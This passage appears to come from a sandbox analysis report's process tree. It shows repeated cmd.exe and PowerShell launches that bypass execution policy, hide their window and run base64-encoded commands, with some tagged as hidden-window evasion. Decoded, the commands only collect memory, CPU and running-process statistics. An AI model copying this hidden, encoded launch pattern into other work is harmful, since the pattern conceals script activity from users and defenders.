    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:6004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:6136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:392
- C:\Windows\system32\cmd.exe
